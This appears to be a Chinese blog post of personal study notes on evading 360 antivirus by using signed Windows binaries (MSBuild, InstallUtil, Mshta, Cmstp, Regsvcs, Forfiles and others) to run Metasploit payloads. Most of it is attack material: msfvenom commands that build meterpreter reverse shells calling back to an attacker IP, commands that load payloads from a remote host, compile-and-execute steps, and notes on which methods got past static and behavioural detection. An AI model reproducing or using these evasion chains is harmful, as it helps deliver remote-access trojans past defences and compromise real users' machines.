远控免杀——白名单篇
远控免杀——白名单篇
前言
白名单程序,白就是此文件在杀软的白名单中,不会被杀软查杀
黑就是恶意代码
通过白+黑的方式组成木马等,来达到免杀的目的
白名单程序的利用起源于LOLBins,全称Living off the land Binaries
。Lolbins为二进制文件,攻击方可以通过该二进制文件执行超出其本身功能的工作
LOLBins定义
它是操作系统本身文件,或者是从Microsoft下载的文件。总之它必须带有windows自身签名文件。
由于是windows自身签名文件,所以一般天然带有免杀的属性,能通过很多应用程序的白名单。
它具有APT功能或者一些对红队有用的功能。比如2019年TA505利用LoLbin和新型后门攻击金融行业。
LOLBins功能
执行代码:任意代码执行,通过LOLbins执行其他程序(未带微软签名)或者脚本。
代码编译
文件操作。下载;上传;复制
持久性权限维持。利用现有的LOLBins来做权限维持;持久性(比如通过隐藏数据在AD中,在登录时候启动。)
UAC Bypass
转储进程内存
监控(例如键盘记录器,网络跟踪等等)
逃避/修改日志
不需要重定位到文件系统其他位置的DLLinjected/side-loading。
MSBuild.exe
在工具篇中用到的nps_payload就是生成.xml
,然后利用msbuild.exe来加载payload
适用条件:.NET Framework>=4.0
加载文件方式
本地加载执行
1
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
远程文件执行
1
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
利用一
msfvenom生成powershell shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.221.128 lport=4444 -f psh -o shell.ps1 |
在ps1脚本末尾添加for (;;){\n Start-sleep 60\n}
用base64编码后放入shell.xml
中cmd
处
1 | <Project ToolsVersion="4.0" |
脚本执行有点问题,shell.xml
能过360静态查杀
利用二
msfvenom生成C# shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.221.128 lport=4444 -f csharp |
shellcode.xml
1 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> |
msf上线
360动静态未查杀
misexec.exe
当Windows操作系统安装了Windows Installer引擎,⽽MSI软件包使⽤该引擎来 安装应⽤程序,解释包和安装产品的可执⾏程序
使用方式
1 | msiexec /q /i http://ip/shell.msi |
经测试msf自生成以及一些工具生成的msi文件免杀效果都一般
InstallUtil.exe
InstallUtil.exe可以⽤于安装由.NET开发的所有应⽤安装程序
CSC+InstallUtil执行shellcode
msfvenom生成C# shellcode 编码一下
1 | msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.221.128 lport=4444 -f csharp |
InstallUtil-Shellcode.cs (Shellcode替换下)
1 | using System; |
CSC.exe
编译InstallUtil-Shellcode.cs
1 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe C:\test\InstallUtil-ShellCode.cs |
用InstallUtil.exe
执行shell.exe
1 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\test\shell.exe |
执行后360安全卫士有行为检测预警,允许则msf可上线
360杀毒静态可查杀
Mshta.exe
用于执行.hta
文件,但是在工具篇中hta的免杀效果比较一般
msf直接生成的hta用Mshta.exe还是会被查杀
CACTUSTORCH
在CACTUSTORCH.hta
的binary
处,选择要注入的exe
生成32位shellcode
1 | msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=192.168.221.128 LPORT=4444 -f raw -o payload.bin |
base64编码
1 | cat payload.bin | base64 -w 0 |
把编码后的code复制到CACTUSTORCH.hta
的code
处
Kali起一个服务,Win7执行
1 | mshta.exe http://192.168.221.128/CACTUSTORCH.hta |
360没有反应但是一直msf一直没上线,注入程序calc、rundll32都试过
拖到本地执行直接报毒了,Mshta.exe没有一个免杀成功的醉了
Rundll32.exe
可执行32位的DLL文件,以命令行的方式调用动态链接库
1 | Rundll32.exe DLLname,Functionname |
Rundll32.exe加载payload的免杀效果依赖于payload所做的免杀,且免杀效果一般通过行为检测来判断
MSFVenom和msf中SMB DElivery模块都可以生成恶意dll文件,但是执行都过不了行为检测
Regsvr32.exe
Regsvr32是⼀个命令⾏实⽤程序,⽤于注册和取消注册OLE控件,例如Windows注册表中的DLL和ActiveX控件,以命令⾏⽅式运⾏
加载payload的原理就是通过JScript代码执行不同的命令,测试下来都过不了行为检测
Cmstp.exe
⽤于安装连接管理器服务配置⽂件的命令⾏程序。CMSTP.exe接受安装信息⽂件(INF)作为参数,并安装⽤于远程访问连接的服务配置⽂件。
执行本地dll文件
msfvenom生成DLL文件
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.221.128 LPORT=4444 -f dll -o test.dll |
cmstp.inf
1 | [version] |
行为检测预警,dll文件直接被360杀毒删除
执行cmd命令
cmstp.inf
1 | [version] |
就是把RegisterOCXSection
换成RunPreSetupCommandsSection
,直接执行cmd命令
行为检测预警为cmstp攻击
下载并解析远程inf文件
行为检测同样过不了。。。
FTP.exe
提供基本的FTP访问
1 | echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt |
不会触发行为监测,但是请求的可执行程序没有做好免杀还是会被360查杀
WMIC
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持
这个应该挺眼熟的,看过某些攻防类书籍一般会有这个
远程加载payload
生成一个hta文件
payload.xsl
1 |
|
执行后360预警wmic恶意命令执行攻击
Regasm.exe/Regsvcs.exe
依赖环境:Microsoft.NET Framework v4.0.30319、Microsoft SDKs
Regsvcs和Regasm是Windows命令⾏实⽤程序,⽤于注册.NET组件对象模型(COM)程序集
生成C# shellcode
1 | msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.221.128 LPORT=4444 -f csharp |
regsvcs.cs
1 | using System; |
用csc.exe
将cs文件生成为dll文件
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs |
msf配置好监听,Regasm.exe/Regsvcs.exe执行恶意dll文件即可
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe 1.dll |
MavInject.exe
MavInject32.exe是微软应⽤程序虚拟化的⼀部分,可以直接完成向某⼀进程注⼊代码的功能
Forfiles.exe
Forfiles是⼀款windows平台默认安装的⽂件操作搜索⼯具之⼀,可以通过⽂件名称,修改⽇期等条件选择⽂件并运⾏⼀个命令来操作⽂件。它可以直接在命令⾏中使⽤,也可以在批处理⽂件或其他脚本中使⽤
生成msi payload
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.221.128 LPORT=4444 -f msi > test.txt |
执行命令
1 | forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i C:\test\test.txt" |
360直接报毒
Pcalua.exe
Pcalua是Windows进程兼容性助理(Program Compatibility Assistant)的⼀个组件
1 | pcalua.exe -a exe/bat/dll |
测试过程中未做处理的木马没等运行就被删了,建议提前做点免杀处理
presentationhost.exe
Presentationhost.exe是⼀个内置的Windows可执⾏⽂件,⽤于运⾏XAML浏览器应⽤程序(即.xbap⽂件)
1 | Presentationhost.exe C:\temp\Evil.xbap |
行为预警
SyncAppvPublishingServer.vbs
环境缺失
MavInject32.exe
MavInject32.exe是微软应⽤程序虚拟化的⼀部分,可以直接完成向某⼀进程注⼊代码的功能
使用方式
1 | MavInject32.exe <PID> /INJECTRUNNING <PATH DLL> |
Win7中没有发现该文件,自己的Win10中也没找到,还得看具体情况
总结
这段时间主要是看重剑无锋师傅的远控免杀系列文章结合从网上搜到的各种资料来学习,现在顶多算入门水平
自己测试复现下来部分方法的免杀效果和文章中还是有出入,还有很多方法因为奇奇怪怪的问题没有复现成功,也发了几次邮件给作者请教还未得到答复,未来对于远控免杀技术有了更深的理解后可能会重新整理一遍这几篇小破文或者重写一遍